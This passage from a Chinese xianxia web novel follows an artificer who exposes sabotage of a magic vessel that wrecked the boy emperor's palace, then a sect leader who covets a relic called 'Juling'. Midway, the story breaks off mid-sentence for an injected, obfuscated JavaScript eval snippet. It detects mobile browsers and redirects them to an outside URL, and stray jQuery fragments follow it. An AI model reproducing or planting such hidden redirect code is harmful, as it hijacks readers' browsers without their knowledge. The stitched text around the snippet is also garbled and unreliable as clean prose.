方才那一道金印的境界,必然有蜕神水准!
可这么年轻的蜕神?怎么可能!
她难以置信地揉了揉眼,再定睛一看:只见琉璃碗似的法器稳稳立在那人掌心,右手背于身后,凌空踏虚而落。
宣述毕竟只有两条腿,还是慢了一步才露面。
还没来得及喘口气,就见小皇帝终于被从坍塌的房梁下刨出来了。
小皇帝有一十三岁,叫宣乐天,先帝身体不好早逝,只有这么一个皇子,于是托付给了摄政王。
这小子命大,两根房梁和床塌出一个三角区域,没受什么伤。
宣乐天一脸懵地被修禁卫军扛出来,落地后就看见了宣述,有点婴儿肥的脸一垮,圆滚滚的泪珠往外流:“呜呜呜……皇叔!皇叔好吓人啊……”
现场的禁卫军向宣述汇报:“王爷!验灵幡查过了,没有修士进入的痕迹,无法判断‘琉璃无相’暴走缘由!”
宣述按了按眉心。
“陛下不怕,臣在这里。”他左耳听着手下禁卫军回话,右耳被小皇帝塞了一耳朵“呜呜呜皇叔”,眼睛瞧见了闻讯赶来的太医,赶紧让人过来给小皇帝检查一番。
刚松了口气,还没来得及去看验灵幡的结果,就见一人扑到他靴边,是小皇帝身边的掌印太监。
大太监发出尖锐的哭喊,“王爷——!定然是、定然是今日来的那修士,要谋害陛下呀——”
宣述拧眉,垂眼看过去。
不明所以的宫侍们听闻此言,顿时恍然大悟。
原来如此!好有道理!
法器爆炸,当然是炼器师心怀不轨!
“我就说感觉跟平时不太一样!不会真是那个修士故意弄坏的吧?”
“对对,我也一直觉得这法器不对劲,阴森森的……”
“还用说吗?有些修士看不起人,觉得陛下是凡人好欺负,不想给修呗……”
萧昭明别开目光,垂落的长睫在脸上投下弧形阴影。
人间已至溽暑时节,入夜后湿气深重,微凉晚风此刻无端冷冽几分。天边偶尔滚过几声闷雷,沉甸甸地压在心口。
“——拖下去,杖责三十。”周遭陡然一静。
“在本王面前嚼舌根,好大的胆子。”宣述冷漠地从大太监手里抽出自己袍袖。
“宫里还轮不到你们来信口断案。方才嚼舌根的几个小太监,本王瞧着眼生,小江,把人带下去查清楚,早前跟陛下说了先不回泰阳殿,是谁撺掇他过来的?
“在本王眼皮子底下谋害陛下——真当本王死了不成!”
蒋小江应了一声,在惨叫声中将人拖走了。
萧昭明用一种很难言明的目光望着宣述。
她自然清楚今夜有人作梗。
“琉璃无相”不可能平白无故暴走失控。
要说最有嫌疑的,自然是那位斩仙楼的老大。
但居楼主已经当面承诺了三天,那应当不会多此一举。
还能是谁?
她耳边响起居烬临走前的话:“你不信我,便亲自看一看,那些正道仙门会无耻到何等地步……”
蒋小江侍卫查完回来,低声禀报给主子。
宣述默然片刻,走到萧昭明身边,附耳道:“大太监被收买,那几个宫侍也是被人安插进来的……他们的话别放在心上。”
听闻此,萧昭明便知道了:是神机门。
与此同时,她听见那禁卫军统领道:“会不会是那器修水平不足,没将法器彻底修好?”
陈寻雪白天没见到萧昭明,听到方才一圈议论,下意识顺着这个思路猜测。
她是个武断的剑修,察言观色水平过于一般,对上摄政王发火也常常听不出言下之意,实在是根能打的棒槌。
宣述深吸一口气,正要开口,就听耳边“歘”一下,仿佛割破空气的风声。
长剑闪现陈寻雪脖颈处!
而在场没有一个修士反应过来!
宣述愣了一下,看向一手端着明灭无序的法器,一手倒提剑柄的器修。
火光勾勒她侧脸线条流畅,一笔一笔都如含锋的剑。
萧昭明无声叹了口气:“都闭嘴。听我讲。”
其他修士震惊过后,齐齐拔出自己佩剑,对准萧昭明!陈寻雪见状丝毫不慌,掌心向下按了按,示意手下们不要轻举妄动。
随后抱拳开口,声音带着点鏖战后的沙哑:“敢问前辈尊名?有何指教?”
萧昭明语气冷淡,平铺直叙道:“篡改后的法器会变成杀人利器,主要在于灵枢的核心阵法‘五行令’被删掉了一行,符轨是按照《洛书》,‘戴九履一,左三右七,二、四为肩,六、八为足’,也被删掉一卦。”
陈寻雪双目圆睁:“……”
听不懂,好厉害!
“你是……”
萧昭明眼皮都懒得抬一下,把她那一连串牛气冲天的名头说得索然无味:
“修理‘琉璃无相’的人,炼器道魁首,澧玉道君座下首徒——萧昭明。”
陈寻雪茫然地“啊”了一声。
宣述惊奇地扬眉瞧着萧昭明,见此情形,立刻清清嗓子,板起脸:
“她师尊名号你不知晓,那总该知晓她师尊的师尊,明梧玄尊……萧灵官是明梧玄尊的徒孙。”
闻言,萧昭明不自在地动了两下。
陈寻雪终于回过神来,倒吸一口冷气。
老天,明梧玄尊的徒孙!
明梧玄尊何等人也?史上第一位修仙者,为后世所有修仙法门打下了基础,也是至今唯一飞升的修士!
宫侍们虽不了解修仙界,但明梧玄尊的名号总还是听过的,登时都傻了眼。
萧昭明“歘”一下收回重明剑:“冒犯了。这样说话效率比较高。”
陈寻雪:“……没事,您自便。”
环视一圈坍塌的寝殿,萧昭明静默半晌,对众人道:
“修仙界强者为尊,拜高踩低是常事,我不会为那些人辩驳洗白。”
众人或好奇或警惕地望了过来。
“但是,在我这里,法器与使用者都并无尊卑,而我手下,也不存在‘修不好’一说。”
她是炼器道名副其实的天才。
在自己的领域有绝对的自信。
萧昭明沉定而冷静地立在事态漩涡的中心:“此事必有蹊跷,我会查明。”
林间无风,枯叶却无端震颤,山雨欲来。
太虚斋断壁残垣满目疮痍,没有了灵气,原本绿意葱茏的松涛全都枯败下去。
沈霁明踩着一块损坏半数的梁柱,擦了擦额角冷汗。
“没有。”他低声说,“我没见过母亲的炼器炉内有什么,又怎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542706|171054||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么可能在这片废墟里找到您要的东西?”
百里澹还是用那种哀伤与恳求的眼神望着他,仿佛残忍的催促:“你是她的儿子,她瞒着谁也不会瞒着你,对不对?你肯定见过了,只是不知道那是什么……”
沈霁明仰头吞了几口水,喘息着看向自己的掌门父亲。
掌门总是这样的,他永远善良而无辜,永远可怜而不沾一滴血……
沈霁明:“父亲,如果您说的那个东西,和爆炸一起湮灭了呢?”
百里澹:“不可能,霁明,你母亲毕生心力都凝结于此,她不会允许‘聚灵’湮灭。”
“或许师妹知道……”
百里澹的神情扭曲几分:“你是让我求助害死你母亲的人吗!”
“我不是这个意思……”沈霁明脸色白了几分。
“萧昭明不会帮我们的。”这伪善的正道掌门突然沉了语气,冷漠道,“如果她真的知道‘聚灵’的锻造方式,那这会是她最后的底牌——她怎么可能拿给判她死刑的人?”
沈霁明已经听不太懂百里澹在说些什么了。
他总觉得父亲瞒了他很多事。
“父亲……”沈霁明脱口而出一句:“您已经是蜕神了,飞升真的那么重要吗?没有聚灵您也不会损失什么……”
“不会、损失、什么?”百里澹阴森森地转过头,盯着他,“你果然是沈澧玉的好儿子啊……”
“凭什么我就不能飞升?这天下应当飞升之人只能是明梧和她那两个弟子吗!我才是神机门掌门,我才是仙盟领袖!”
隐约间天边传来闷响,空气压抑难耐,沈霁明按了按呼吸逐渐困难的胸口,意识到暴雨将至。
父亲一向称呼母亲小名,今日为何……几次三番唤全名?
“沈澧玉是明梧玄尊的弟子,你知道对吧?她从她师尊那里继承了很多好东西,后来明梧飞升,沈澧玉倒是也没藏私,那些都放进了神机门的玲珑秘境内……可唯独这个‘聚灵’,她连全貌都没有拿出来过。”
夜色笼罩下,连绵的山影如蛰伏巨兽,林鸟黑压压地掠过竹林,翅羽刮过沈霁明混乱的耳畔。
沈霁明不动声色地扫视左右。
林长老他们不知接了什么暗令,早已离开,此刻只有他与百里澹在此地。
他那位人人称赞善良仁义的掌门父亲,此刻目光漆黑而黏稠,语调奇异:
“沈澧玉原本想过拿出‘聚灵’继续研究,可此物太过诡谲,稍有不慎便会万劫不复……太上长老们劈头盖脸斥责了她一顿,还要将她关入刑台——就是那日关萧昭明的那个。”
是他开口求情,她的幽禁和刑罚才得以免去,换成了一鞭惩戒作罢——她竟还敢不知感恩,心怀怨恨!
她竟还敢不全力托举他飞升!
“如今灵气不断溃散,监仙司又管得紧,明明是‘聚灵’该派上用场的时候了……”
一道惨白的闪电劈开云层,刹那照亮百里澹扭曲的面容,和化作黑泥的双眼,正狰狞地往外爬出:“她却……却宁死都不给我了!”
惊雷遽然在头顶炸响!
第一滴雨砸在重明朱砂般的剑尖,溅起锈铁般的血腥气。
萧昭明眉目微沉,看了看抱在怀里的长剑。
重明忽然躁动地颤抖,似乎有什么东西在冒头。
暴雨轰然落下。